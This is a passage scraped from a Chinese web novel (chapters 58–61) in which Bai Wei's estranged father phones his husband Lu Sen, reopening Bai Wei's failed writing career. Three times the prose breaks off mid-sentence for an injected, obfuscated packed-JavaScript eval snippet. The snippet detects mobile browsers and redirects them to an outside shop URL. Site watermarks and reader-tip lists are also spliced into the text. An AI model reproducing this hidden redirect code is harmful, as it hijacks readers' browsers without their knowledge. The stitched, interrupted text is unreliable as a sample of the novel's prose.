卢森本想挂掉电话,可那人沉默片刻,更加急切地道:“你是他的丈夫?好吧,白雎的爸爸不肯邀请我去我的儿子的婚礼。他从来没有原谅过我,也不允许我再踏入青禾。我也不能理解,他为什么会让你一个男人和我的儿子结婚。但是!但是!既然你和白唯已经结婚了,你不应该也为他的前途考虑么?” 卢森的手指就在这时顿了一下。 “在雪山镇这样一个小地方,能有什么好工作?能有什么让他更好地发挥自己的才能的职位?白唯是这样一个才华横溢的孩子……这些年我一直没有去看他,是因为我 愧疚,不敢见他,但他一直成长得很好,比我和白雎都要优秀。他是一个优秀的作家。你忍心看着他因为一时的任性,而毁掉他的前途吗……” 中年男人言辞恳切,但让卢森集中注意力的,是最后一句话。 而中年男人也终于得到了他想要听到的,卢森的回答:“你刚才那句话是什么意思?什么叫一时任性?什么叫毁掉他的写作生涯?” “你不知道吗?那是一年前在南都发生的事……” …… 白唯回到家里时,觉得今天很奇怪。 车停在门口,卢森的户外鞋也已经摆在鞋架上,他的拖鞋消失无影,说明卢森此刻正在屋内。 可当他推开房门时,卢森却没有来门口迎接他。 这不正常!至少在听见他的开门声后,卢森一定会来门口找他、并给他一个(白唯并不想要的)拥抱的! 踏入玄关时,白唯隐约听见客厅里传来说话的声音——却只有卢森一个人。在他踏入客厅时,说话声中断了,卢森从楼梯间向他走来。 “亲爱的,你今天怎么回来得这么早?” 白唯略微皱眉。他看着满地的快递包装和展示柜里又多出来的埃菲尔铁塔模型,与旁边他们的“合照”,知道这又是卢森的纪念品“杰作”。放在平日里,他一定会让卢森把地上的垃圾先收拾干净。 但今天不是说这些话的时候。 “你坐下,我有话要和你谈谈。”白唯道。 卢森一愣,但他很快乖巧老实地像个高中生一样,规规矩矩地坐在白唯对面:“亲爱的,你说这话时的样子好像一个老师。” 他嘴里这样说着,手却已经偷偷地伸向了白唯的腰。 白唯脸一沉,把他的手打开:“你想做什么?” 卢森:“白老师,我不会做,你教教我。” ……混蛋啊! 白唯惊疑不定。卢森现在怎么连这种……好像角色扮演一样的荤话都学会了? 他不是一个弱智怪物吗?到底是谁教他的? 小说的域名caixs.com⑧(请来才 小说 看最新章节 完整章节) 很快白唯的思路又回到了卢森开始饱暖思□□这点上。上周由于卢森断腿+代课有早课,白唯无情地拒绝了卢森许多次发生关系的邀请。这周六白唯以出门交际为由逃了一天,然而在周日,他没有 找到出门的理由,被卢森拖回家里一整天。 或许这就是小别胜新婚。白唯的腰差点没断在床上。第二天一早,白唯很生气地起来,靠在床上。卢森自知理亏,去楼下端了他做的小甜品上来。 “亲爱的。他心虚地说。 白唯在床上瞪着他。 卢森把小甜品拿到白唯嘴边。白唯很生气,但还是咬了一口。 ……挺好吃的。 又吃了一口。 白唯觉得这种行为很不争气。但他转念一想,自己依然在生气,自己依然可以生气,卢森的小甜点并不能改变他在生气的事实。而且卢森跪着给他喂小甜点,是卢森吃亏了。他才是赢了!而且依旧高高在上。 面对白唯的指责,卢森是这样说的:“亲爱的。这并不能全怪在我头上。这也太不人道了。一周有五天是工作日,这些日子你都不让我碰你。周末只有两天,其中一天你还要出去办事,我只能在周日把所有时间都补回来了。 卢森竟然学会和他谈判了!白唯大惊。 其实过去在北都时,卢森说话也曾如此文质彬彬、有理有据。只是自从结婚后,他放松了一部分伪装。而白唯在知晓他是怪物后,更把他预设为一个弱智。 因此,一点智力上的“小进步,都会让白唯十分惊讶。 或许是因为这份惊讶,白唯答应了和卢森的谈判结果。一周五个工作日,卢森可以挑选三个晚上进行活动,但每次不能超过两个小时。如果只选出两个可以活动的晚上,每次则不能超过三个小时。周末两天,加起来的时长不能超过八个小时……这是白唯的忍耐极限了。 在谈判结果敲定后,卢森就在星期一的晚上完成了他的第一个“两小时。白唯为此特意把手机设置闹钟,放在床头柜上计时。只要超过两小时,白唯就会把他手里那枚能制造“马上风类似症状的药片含进自己的嘴巴里,借着深吻让卢森把它吃下去。 好在卢森没有辜负他的期待……又或者辜负了他的期待。 昨天、前天,卢森什么都没做。今天是星期四,卢森显然已经打算开始履行自己的第二个“两小时了。 在卢森的手按住他的大腿之前,白唯一把掐住了卢森的手腕。 “等一下。他用冷静 的、严肃的语气和他说话“我有话和你说很重要的事。” 卢森的手没再动了。他用疑惑的眼神看向白唯。 白唯开门见山:“你最近去找校长说什么了吗?” “哦他周六和我一起吃了个便餐——在你出去参加活动那天。如果你没出去的话我本来会带你一起去的。”卢森的话说得倒是很诚实 “哦。”白唯语调平平“你怎么回答他的?” “我说最近暂时没有这个打算。我得处理一些家事而且我对开店做个体户更感兴趣。” 卢森当然不会去做校长推荐的、面向公众的职业。这些职业的收入明细是公开的这不就立刻暴露了他在洗钱的事实。比起一个暗中掌握大量非法收入的数学老师或副校长他更想做一个生意兴隆的、幸运的修车店老板和民宿老板。 校长也曾劝说他说现在做奥数老师、补课老师也很赚钱。但卢森想了想觉得还是没办法解释他给一群长得和他一模一样的死人补奥数的理由而且这些死人这辈子也不会考出哪怕一个奖杯。于是他继续婉拒了。 白唯也觉得个体户卢森比体制内卢森更好杀一点。但他冷淡道:“你和他提到我了吗?” “提到了。”卢森说“我向他询问了学校正式美术老师的待遇和升职路线和你未来担任校长的可能性。老实说如果雪山镇有知名大学就好了。可惜这里只有两所中学。我和他聊了这些事然后确定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272176|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下你未来继续在这里做美术老师的升职路线……” “你为什么要和他谈这些?” “亲爱的你也挺喜欢白马中学的不是么?既然我们要在这座镇子上安顿下来……” “谁让你替我做决定?谁让你代替我去和校长聊的?”白唯拔高了声音打断他。 “哦。我只是希望我们能在这里稳定下来不是吗?尤其是让你在这里稳定下来……” “我什么时候允许过你去做这些事?你凭什么认为我想要在这里稳定下来?” 白唯堪称咄咄逼人地质问着。这是他在过去二十几年的人生里对任何人也不曾做过 的事情。卢森愣了愣,但他很快道:“亲爱的,你不喜欢雪山镇吗?当然,我们可以搬去其他地方居住,随时,只要你想要……” “我要说的不是这个……” “确实,我也想到,以你的才华,在这里做一个美术老师,不能发挥你的天资,是十分屈才的一件事,也是压抑了你的天性。”卢森道,“亲爱的,你的内心深处,是不是也是这样想的呢?或许,我们应该一起思考,想出一个更适合你的职位、更适合你居住的地方。” 白唯张开嘴,他比刚才任何一刻都要恼火,他说:“确实,我没有那么喜欢……” 电话铃声就在此时响起了。 响亮,刺耳,有人打通了这半年未曾响过的电话。白唯和卢森同时看向靠近楼梯间的电话,卢森说:“我去接一下。” 而白唯敏感纤细的神经,立刻将它与卢森方才独自说话的声音连在了一起。 刚才卢森在打电话! “打开公放,让我听听你在做什么。”他冷冷道。 卢森握着电话,有些迟疑。可他依旧遵照了白唯的要求,按下了公放键。 电话里传来了中年男人的声音。 “卢森,你刚才为什么突然挂电话。我和你说的白唯的事情,你清楚了吗?让他做一个普通的老师,是对他的浪费,是让他的才华蒙尘!如果你真的爱他,你就应该帮他……” 屋子里除了电话,别的什么声音也听不见了。 卢森是怪物。他不懂人类的情感,不懂人类的人情世故。但他拥有着身为怪物的直觉。这种直觉让他在枪林弹雨中生存,战胜了一次又一次的袭击。他躲过炸弹、反击狙击手、越过安保……他能做一名出色的佣兵的部分理由,正是出于此。 可这一刻,他的直觉却忽然地告诉他,他感到十分惶恐。 不是对生命危险的惶恐,不是对即将到来的袭击的惶恐,也不是对自己做错了事的惶恐。 而是……仿佛珍视之人将会受到伤害的、作为爱他之人会感受到的惶恐。 明明,这里什么武器都没有。 他一点点转头,看向客厅中央的白唯。白唯站在原地,直直的,像是一幅画。 可白唯的脸色惨白。他琥珀色的眼睛看着他,此刻却露出 了仿佛漆黑的质感。 他像是一只鬼一样地站在那里,眼眸直勾勾的,却没有看着话筒——即使话筒里传来的,是他的生理学父亲薛镜宇的声音。 他看着卢森。 作者有话要说 感谢在2024-08-0419:08:30~2024-08-0518:56:20期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:致你来时踵音1个; 感谢投出地雷的小天使:我用什么把你留住1个; 感谢灌溉营养液的小天使:游刃52瓶;听雨眠36瓶;夏天竹子脆26瓶;九幽、小青龙恒恒20瓶;浅花迷人、蛋花汤不放葱13瓶;致你来时踵音、吾往矣、窗外、洛绎、哟哟哟、白兰、花大狸子_、啊榆yu10瓶;山风9瓶;水中月8瓶;knight、不想拯救地球5瓶;究惑久久、我用什么把你留住、老婆我有花苦茶2瓶;一只爱睡懒觉的猫、是世事、冰冰糖啵啵鱼、棒打鲜橙、布灵布灵!、是稻子哦、九六一十、我说不言语云无归处、啵赞天天见、(ovo)、悬日、星行夜归、疏霓、桃夭、朗、康乐1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 59 章 新合同 第59章新合同 “亲爱的……” “宝宝。” “阿唯。” “你听我说……” 白唯走到卢森身边,一言不发地把电话挂掉。 他什么也没说,转身往楼上走去,背影比任何一刻都要挺得直直的。 那一刻,卢森比过去任何时刻都要慌张。 他明明拥有可以洗掉白唯的记忆、改变白唯的回忆的能力。无论如何,改变认知对于他这样的异种来说从来不是什么难事。一个人类的袭击也绝不是什么值得让一只异种恐惧的事。 可这时的白唯的背影给他一种……他走了就再也不会回来的感觉。 他攀上高楼,却有如在他面前沉入地下。 他想也不想就追了上去:“他今天下午在你回家之前给我打的电话。在那之前我都不知道他的存在,也不知道他的名字。他甚至没有被邀请参加我们的婚礼,也从来没在我们的生活里出现过。” “……” “我不能认同这样的人是我的岳父。所以他和我说了一堆话,我全都没有听进去。这就是他在我挂掉电话后又立刻打回来的原因。” “……” “如果我刚才和他相谈甚欢,他根本不会又把电话打给我,还对我大吼。他说的那些乱七八糟的东西我一句都没有信……” “不是。” “不是什么?” 白唯看向他。卢森的心脏被揪紧了,他看见那双眼在努力保持平静。 “不是乱七八糟的东西。”白唯说,“以我对他的了解,他对你说的,至少80%是事实。” 此刻白唯站在楼梯的顶端,卢森距离他只有三、四步的距离。卢森忽然意识到,这个高度差与他如今在楼梯上的位置,让他很适合被白唯推下去。白唯在那一刻似乎也确实决定这么做了——他把手放在了卢森的肩膀上。 可他最终什么也没有做,他收回手,转身跑进了书房。 天啊。 卢森觉得自己身体里拟态出来的器官碎裂了、至少有一个器官碎裂了。他真希望白唯刚才能一时激动,把他推下楼梯。这样他至少可以假装死在楼梯上一个小时,来缓和一下他们之间的气 氛。 他一直知道的只要他死一次白唯的心情就会变好一点。 拆门是卢森的特长。可他逡巡在书房之外,最终只敢偷偷地递进了一只眼睛。在购买这栋房子时,白唯说这栋房子太大了,对于普通人来说,至少要把旁边那半栋当成民宿租出去才没有那么可怕。 或许白唯已经忘记了可他现在还记得这段话。 而且他今天第一次觉得这栋房子真的很大。房子里明明到处都是他和白唯的东西墙上是照片软木板上是明信片展示柜里是模型。可这些东西大多是伪造的只要没有白唯在它们都一文不值。 而他就像那些一文不值的东西一样被抛弃在了白唯不在的空间里。 早知道他刚才应该假装自己摔下楼梯的。至少他也可以意外死在白唯面前让白唯陷入短暂的疑惑可能白唯就会高兴一点……卢森觉得自己真的很愚蠢。 他的眼睛在书房里游走终于看见了坐在书桌前的白唯。白唯一动不动没有在写字也没有在看书好像就只是在发呆一样眼睛看着窗台 这让卢森觉得更难过了。就像他和这栋房子都是白唯不需要的一样。 那座窗台让他想起来自己从这里摔下去的回忆。如果这时他在窗台边就好了至少这样当他从窗台上摔下来时白唯铁定会看着他的。 而不是在与不存在的幻影打架。 卢森坐在门板外慢慢回忆谢镜宇和他说的事情。 在机场和他分开后白唯去了南都。或许是因为南都是这世上唯一一个除了他去过的城市之外还和他有关联的城市了。从小到大白唯的祖父禁止任何人在他的面前提起他的父亲在他嘴里那是个“带坏”他的“儿子”的东西。垃圾、狐狸精那个体面的老人用任何恶毒的词汇形容他。 但总还是会有人在白唯面前提起他父亲的身份。他父亲不是什么穷小子相反他同样是南都的一个家族的骄傲。当年在海军学院时他也曾是和白雎不相上下的天之骄子、学院的学生会主席。 双方家族把两个孩子“捧”得如珠如宝而后他们就选择了私奔。 或许他们两人在当时的同学心中也曾算是天作之合。骄 傲阳光的谢镜宇安静倔强又女扮男装的白雎。他们一起毁掉了自己的学业辜负了家族的希望想要建造一个属于自己的未来。 但最终放不下自己的家族的支持的却是谢镜宇。这种转变或许发生在任何一个让他意识到他需要通过更多倍努力才能争取到与他人(在他看来身世不如自己之人)同等的奖励的瞬间。他的骄傲和他的恣意都是依托于他的家族才能成立才能实现。 他能在海军学院做学生会主席依托的不止是他个人的优秀还有他整个家族的托举。 真正没有办法脱离他家族的光耀的人是他自己。他和白雎不一样他始终享受着他的家族的荣光。 他开始一次又一次地劝说白雎 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)劝她和自己一起回到南都。他会和他的家族下跪、认错白雎则什么都不用做。在那之后他依旧会是家族的继承人而白雎会是他的妻子、他的夫人和他一起执掌这个家族。 “不会有人比你更好更适合我。”他骄傲地、信誓旦旦地说。 可他万万没想到白雎的每一次回答都是拒绝。 “我过了很多年才明白对于她而言和我一起回去意味着对她的家族的彻底背叛……她爱她的家族不比我需要我的家族少。但我那时太年轻、太年轻气盛。我只以为她在撞南墙。后来我甚至耿耿于怀认为她其实恨我在故意折磨我。” 谢镜宇是这样说的。 总之在一次激烈的争吵后他们用花瓶打破了彼此的脑袋。在两人的伤都好后谢镜宇没办法抢走被白雎藏起来的白唯——他们毕竟是同一届的战术课的优秀学生。他一个人返回了南都重新成为了家族的一份子。 他也通过家族的人打听到了白雎母子的生活。他听说他们一起回到了白家。或许这样正好。 他没有细问。或许是因为这总让他想到自己的失败他对此耿耿于怀。他总觉得自己因此在面对白雎时输了很多直到白雎也回到白家后才是只“输了一点”。 就像他最初喜欢上她时也是因为他以为自己在和一名叫“白雎”的男同学争夺第一。而后他愕然发现“白雎”竟然是个安静的女孩。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272177|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯在南都生活与徘徊。没人知道他究竟是怎么想的但任何人都可以从任何角度来 理解他的行为。他只记得父亲的名字,对父亲家族的行业一无所知,连同父亲的脸的记忆也在淡化。 就在这时,他遇见了一场事故。 他签约的出版社换了领导。新的领导早就对传统印刷业的传统模式不满,打算通过新的方式、新官上任三把火来证明自己的权柄。那么白唯就是个很好的选择。 他出身名门,长得这么俊秀,只要他愿意配合,上综艺、接代言、当网络红人的话……这该是多么大的一笔收入,对整个出版社也将带来巨大的收益。 而且,他还可以顺势推出明星作者这一概念,为日后的长远发展铺路。 白唯却对此油盐不进。他不喜欢抛头露面,自己也不缺钱,更讨厌变成别人的玩物的感觉。领导对他的清高恨得牙痒痒。 终于,在签订新合同时,领导找到了机会。 他在新合同里加入了一个很刁钻的条款,适用于一条很老旧的法律。白唯有让做律师的同学帮自己看过新合同,可同学没有看出里面的漏洞。 在领导的有心经营下,白唯即将面临数额巨大的罚款,甚至有身败名裂、承担法律责任的风险。这对于背叛了白家、从白家私奔出来的白唯来说,简直是不可接受的一件事。 他没有把这件事告诉任何人,想努力靠自己解决。但他的竹马李愿却知晓了这件事。 在竹马李愿知晓这件事后,在南都追求他的富二代,李愿的朋友乔烨也知道了。 乔烨是个还挺仗义的人,而且还是白唯的明恋者。他于是竭尽全力地帮白唯找关系,想要为白唯避免这场灭顶之灾。很快,在他的四处奔走下,这一切都有了成果。 有一家发源自南都本地的、盘根错节许久的老牌出版集团忽然出面。他们的法律顾问和白唯主动联系,希望通过程序漏洞将白唯的合约转到他们的名下。 他们告诉白唯,他们这样做的原因是看重白唯的商业价值和未来的潜力。白唯不知道这样一家大集团为何忽然不遗余力地出来帮助他,但他心存感激。 作者有话要说 感谢在2024-08-0518:56:20~2024-08-0623:58:53期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:致你来时踵音、淡淡的小橙橙1个; 感谢灌溉营养液的小天使:Yeah60瓶;天木仟55瓶;大虾丸50瓶;许君安亲今天也不写文40瓶;熙来攘往30瓶;ややなど、土豆20瓶;斋斋子19瓶;π、格雷格、Daniel.、73254634、刺寡人者受极刑、哟哟哟、要糖不要刀、纯爱战士、迟双叶、芝士桃桃、三途10瓶;超级无敌霹雳大腚、Muddy6瓶ino、金桔柠檬猹、峨眉山编外吗喽、今天依旧没有更新呢5瓶;stones4瓶;究惑久久、肥肉迷路了、茶佰2瓶;牛紫文gh、点击就看……、我是叶瑄的狗、悬日、二氧化碳、阮婆、我不追连载、红袖招、是稻子哦、诺奇莫银、菩珏、疏霓、(ovo)、suansuanchuchu、天心月、0314、不想拯救地球、哇哇哇哇哇、小米、又菜又挑日常挨饿.jpg1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 60 章 鸡蛋消肿 第60章鸡蛋消肿 就在这时,白唯收到了来自老牌出版集团的、参与一场私人聚会的邀请。 白唯原本以为这场聚会是为出版集团的几名新签约作者准备的,又或者,他至少会看见几名高层和编辑。然而当他到达那家酒店的会议室里时,他发现会议室里只有一个人。 那是一个风度翩翩的中年男子,背对着他。白唯心中升起警戒。他很快就想到了譬如“潜规则”一类的词汇。 但事实比那更糟。中年男子回头,露出一张轮廓与白唯略有相似的脸。 “我是你的父亲。”他说。 原来没有什么对才华的欣赏,没有什么什么幸运儿的诞生。老牌出版集团帮助白唯唯一的理由只有一点:他是掌权人谢镜宇的孩子。 而且到目前为止,他是谢镜宇唯一的孩子。在得知白雎死讯后的第十年,谢镜宇和别的女人结了婚。他们孕育了一个小孩,就在两年前,那个小孩夭折了。就在一年前,谢镜宇离婚了。 白唯的地位于是变得很重要,更何况他还如此优秀——这是白唯在之后的一个月里发现的。 谢镜宇听说了白唯和人私奔的事情,也观察到这几个月里他身边没有陪伴的人在。他很轻易地戳穿了白唯关于卢森去出差的解释,说:“我知道你婚姻不幸。大多数的私奔的结局,都是如此。” 他的下一句话引燃了白唯的引线:“就像我和白雎,也是这样。我们总把现实看得太清。只是我没想到,多年后,我们的孩子也在重蹈覆辙。” 谢镜宇说,他只是想帮白唯。出版是谢家集团业务中的一部分,但不是全部。他知道白唯过去那家出版社的打算,也知道白唯不乐意成为什么明星作者。这很好,他也不希望这些事消耗白唯的精力。他接手白唯的合约,希望白唯在他的这份兴趣爱好上有相对宽松的环境……当然,他的最终目的,是希望白唯来谢家集团工作,接手他的位置。 乃至于改姓、认祖归宗。 白唯给出的最礼貌的回答,是把门摔到了谢镜宇的脸上。 一开始谢镜宇不以为意,毕竟年轻时的他也是如此骄傲。他创造了很多机会,让白唯了解谢家到底在做什么,让白唯知道他如果能上位 到底能得到多少好处让白唯知道做一个大家族的舵手有多么责任重大和光辉荣耀……反正白唯已经私奔出来喝白家决裂了。 可白唯油盐不进。最终谢镜宇难以置信地说:“你怎么和白雎一样固执?这到底有什么不好?” 白唯说:“我没有兴趣。” 可谢镜宇看着他最终以一种意味不明的严肃神情道:“你不要忘记你的合约之前在X出版社的手里现在是在我们的手里。前者后者其实都是一样的。虽然合约比较宽松但只要你继续写哪怕一个字就是在为谢家赚钱。” 在谈判这方面谢镜宇很懂得打蛇打七寸。 白唯的回答也很简单:“我可以一个字也不写。” “那可是十年不是吗?一个人的二十年代至三十年代最黄金的十年。” 白唯很想杀了谢镜宇可一段模糊的记忆出现在他脑海里。似乎是他还很小的时候白雎和谢镜宇一起带着他去水上乐园……他铁青着脸走出房间谢镜宇在这时说:“白唯我甚至不介意你把谢家当成你可以用来整合力量、继续向上爬的工具但你要看清现实不再做错误的事。” “在你眼里白雎和黑港城也是个错误吗?”白唯回头直视谢镜宇他的眼睛就像过剩的阳光下反光的泳池的水波。 在听见白雎的名字后谢镜宇有些动摇。但很快他愤怒地说:“黑港城那样充满犯罪和肮脏的都市能是什么好地方?如果当初我和白雎没去黑港城事情也不会是现在这样!” 白唯愤怒地回到了自己的公寓。他闭门不出除了出门买最基础的生活用品和食物时。他在公寓里住了一个多月浑浑噩噩强迫自己一个字也不写 他推开房门时发现卢森就在门外敲了三遍门铃的人正是他死而复生的新婚丈夫。卢森的脸上还挂着那讨人厌的虚假微笑他看了一眼白唯公寓的内部陈设:“亲爱的这里现在是你的居所吗?” “……” “我找了你很久。在这期间我也阅读了许多地理杂志找到了几个风景宜人的、很适合定居的小镇。但显然你现在改变了主意。”卢森亲切地微笑着“居住在南都让你更加快乐吗?我们可以改变计划考虑住 在这里。” 白唯的手机震动着是谢镜宇打来的电话。他看着卢森有些哽咽竟然在这只有他们二人的、本该剑拔弩张的场合说出了真心话。 “不我一点也不快乐。”他说。 “那就好。”卢森握起他的手“你可以先让我进去。我把要定居的小镇的名单也带上了。我们可以一起在名单上选一个你最喜欢的继续完成我们半年前的目标。” 白唯的合同还卡在双方之间这是谢镜宇故意的。可在那之后他就和卢森坐飞机去了雪山镇来继续他们的新婚目标。 他浑浑噩噩、神思不属但这都无所谓。在过去他需要和一个人一起离开青禾在现在他需要和一个人一起离开南都。他那时对卢森的情感 卢森在书房门外等了很久。他回忆着谢镜宇说的那些话回忆着谢镜宇对白唯浪费自己的才华的指责回忆着谢镜宇对他放纵白唯的浪费的指责……他的眼睛一直盯着白唯害怕白唯做出什么极端的事情来。 甚至于他的一只触手也伸了进去藏在书桌下随时待命。 终于白唯趴在书桌上睡着了。卢森轻轻用触手拍打他的肩膀好让他睡得舒服一点。 白唯在醒来后起身走出书房。很快他看见门口蹲着一大坨东西。卢森就蹲在那里像是被抛弃了一个晚上的大狗眼巴巴地看着他。 “狗是人类最好的朋友。”白唯的脑袋里很幽默地闪过这句话。 卢森:“我不知道他是怎么找到家里的电话的我也没和他联系过……” “他大概是从镇政府的档案里找到的我的联系方式又或者是通过邮局、通过李愿之前的信……这都无所谓他总有机会拿到的。”白唯说。 “那这不是我的错……”卢森小心翼翼地看着他。 “嗯。不是你的错。”白唯面无表情地去洗漱。他此刻不是很想看见卢森。 他唯独不想让卢森看见自己变得脆弱、变得低人一等的受打击的模样。 明明卢森也不是绅士他也不是什么完美的名门少爷。卢森是伪造过去的怪物他是拥有黑历史的“私奔之子”。可在过去他还是可以用自己努力争取得到的东西来比卢森高一头。 可现在他 事业失败的秘密也被卢森知道了。 成年人的世界就是这样事业的失败就是全部的失败这和你过去取得了哪些成就一点关系都没有。 在书桌上睡一晚上果然对美貌有影响。白唯看见镜子里的自己苍白憔悴眼下一片青黑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272178|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他下楼餐时看见桌上已经摆好了早餐。白唯本来想悄悄地从后门出去但已经被卢森发现了身形。 “亲爱的你要吃早饭吗?”卢森可怜巴巴地看着他。 此刻仓皇而逃是不是更没面子……而且卢森已经邀请他了。白唯犹豫了一下还是坐回桌子上。 桌上有两个煎蛋 面对卢森白唯也懒得说什么“我眼睛没肿”之类逞强的话。他只是怀疑地盯着鸡蛋:“这个有用吗?” “肯定有用。”卢森自信满满地说。 毕竟这又不是鸡蛋而是他的一枚断触手只是拟态成了鸡蛋的模样。事实上他手里握着的这枚触手上沾满了用来增强皮肤活性的液体。 白唯:…… 不知道为什么这枚鸡蛋给他一种不祥的感觉。白唯接过它就把它放在另一个盘子的边上……怎么回事为什么感觉手指的触感也怪怪的。 他怀疑地看了卢森一眼卢森诚挚地看着他。 “好吧亲爱的你之后有什么打算吗?” “去上班。”白唯说。今天早上他确实有课这是他从书房里出来的理由。 无论心情如何他都会假装成一个正常人出现在所有人的面前。 “可你昨晚只睡了四个小时。”卢森说。 卢森怎么知道他只睡了四个小时的? “没事。”白唯道。 他们昨天才吵过一架今天却还因为要一起吃早饭而在餐桌上维持着虚假的和平。终于卢森问了打破气氛的第一个话题:“亲爱的你对未来有什么打算?” “……”白唯低着头吃煎蛋。 “你是更想在雪山镇做美术老师还是更想继续做一名作家?” “……我没考虑过这些。”白唯不得不说。 “你应该考虑过的。在唐霖拍短剧时你说你 忍无可忍,给他改了一些剧本,写东西的时候你明明特别高兴。”卢森道,“而且我在你的书桌上也看到了很多稿子。它们只是被写了一个开头,然后你就把它们强行断掉放下了、扔在了旁边。” 白唯猛地抬头:“你进我书房了?” 作者有话要说 感谢在2024-08-0623:58:53~2024-08-0723:52:31期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:茶佰、致你来时踵音1个; 感谢灌溉营养液的小天使:落浔潇162瓶;雪落时宜60瓶;shining59瓶;寒溪蘸碧47瓶;拂槛露华、*★噗噗★*、白青云40瓶;喜欢江寂喜欢江寂35瓶;艾咕26瓶;小皖小皖起床不晚20瓶;大寸18瓶;有亿点好运16瓶;林木楠、啊,见鬼!、skk是真的、哑子哥、娜娜塔、吸猫侠、冰冰糖啵啵鱼、啊榆yu、春风不到、哟哟哟、清清清清清、咪咪兔咪咪10瓶;哀弥夜6瓶;白日做梦夜里失眠、是阿蕊也是阿芯、Blacolide5瓶;究惑久久、(ovo)4瓶;我磕的cp都是最甜的3瓶;星月sweet环绕、旺仔牛奶赛高2瓶;二氧化碳、我用什么把你留住、介凉丰、疏霓、Hyena、蓂蓍、又菜又挑日常挨饿.jpg、Hxbd、是稻子哦、呀、慕雅、一只爱睡懒觉的猫、小米、是砂糖酱哟~、法外登徒子、阳和启蛰、朗、小血砸、开心就好了、不想拯救地球、猫猫嘻嘻、suansuanchuchu1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 61 章 出差一个半月 第61章出差一个半月 卢森:“呃,以前给书房搞装修的时候,我不是进去过么?” “不对,不是那时候。在前天之前,我把稿子都放在上锁的抽屉里,你根本没有机会在桌面上看见它们。”白唯说,“我出门时都会锁上书房门,你是怎么进去的?为什么要进去?” 这下完蛋了。 “好吧,我在你睡着时进去看了一眼。”卢森只能说。 真的只是看了一眼,他的其他眼睛都留在书房外面,只有一只眼睛从门缝里进去了。 白唯:“你偷偷复刻了我书房的钥匙?!” “不、不,绝对没有!”眼见着事情往刑事方向发展,卢森连忙举起双手,“我是从窗户进去的!你不是开着窗子睡觉么?” 白唯的表情变得更加震惊和不可置信了:“你竟然顺着墙壁,像一个小偷一样爬进来翻我的东西?你怎么能做出这样像小偷一样的表现,只是为了偷窥我在书房里做什么?” 白唯的表情显示着他已经全身发麻。这对于他来说实在可怕。当他坐在窗前,发着呆,想着心事时,他永远不知道卢森正趴在窗台外面的哪个位置,在时刻窥视着他。 卢森已经看到了他的病历表——这可以归咎于白唯自己的不小心。卢森接到了他父亲的电话,知道了他在事业上的失败——谁让那时家里只有卢森在,而他刚好在上班。可卢森在他一个人静静的时候,也能爬上窗户,来监视他的一举一动? 他到底想要知道多少他狼狈的时刻! 而且在那之后,卢森还一再地对他的生活进行安排和干涉。他和校长吃饭,以他丈夫的身份和谢镜宇谈话。就像他能拿到卢森的死亡保险金一样,卢森也能控制他的一切。 在现在,在未来,他到底还有多少事情会被卢森知道。而他直到现在,除了卢森身份造假之外……对卢森的过去还一无所知! “……我只是担心你。”在说了一大串话后,卢森想要握着白唯的手,和他诚挚地谈一谈。 可白唯把自己的手从他的手里抽出来了。 此刻的他彻底拒绝沟通,别着脸,一言不发。卢森说:“我想你应该是想做一名作家的……比起做一个美术老师。” 邻居太太就在这时候敲门了:“卢森?白唯?我刚从你们家门口路过,想着进来聊会儿闲天。你们在吵架吗?” 白唯立刻甩开了卢森的手站起来。在邀请邻居太太进来的同时,他说:“没有,我马上要去上班了。” “哦。”看出白唯的脸色有些不自然,邻居太太想了想,又嘱咐了些卢森的好话,“白唯宝贝,前些天你来我家吃饭时很喜欢我家的菜汤。卢森第二天就过来,把菜谱学了回去。他或许有些粗枝大叶,可他真的很爱你啊。” “卢森,你也是。你腿受伤时白唯一直在照顾你,你不要让他伤心好吗?” 爱你,爱你,爱你……全世界都觉得,卢森很爱他。 白唯开车去学校。他在下班回家后又接到一通谢镜宇的电话,是白唯在网络上的走红又让他把所有注意力放在了这个和他断绝联系许久的儿子的身上。 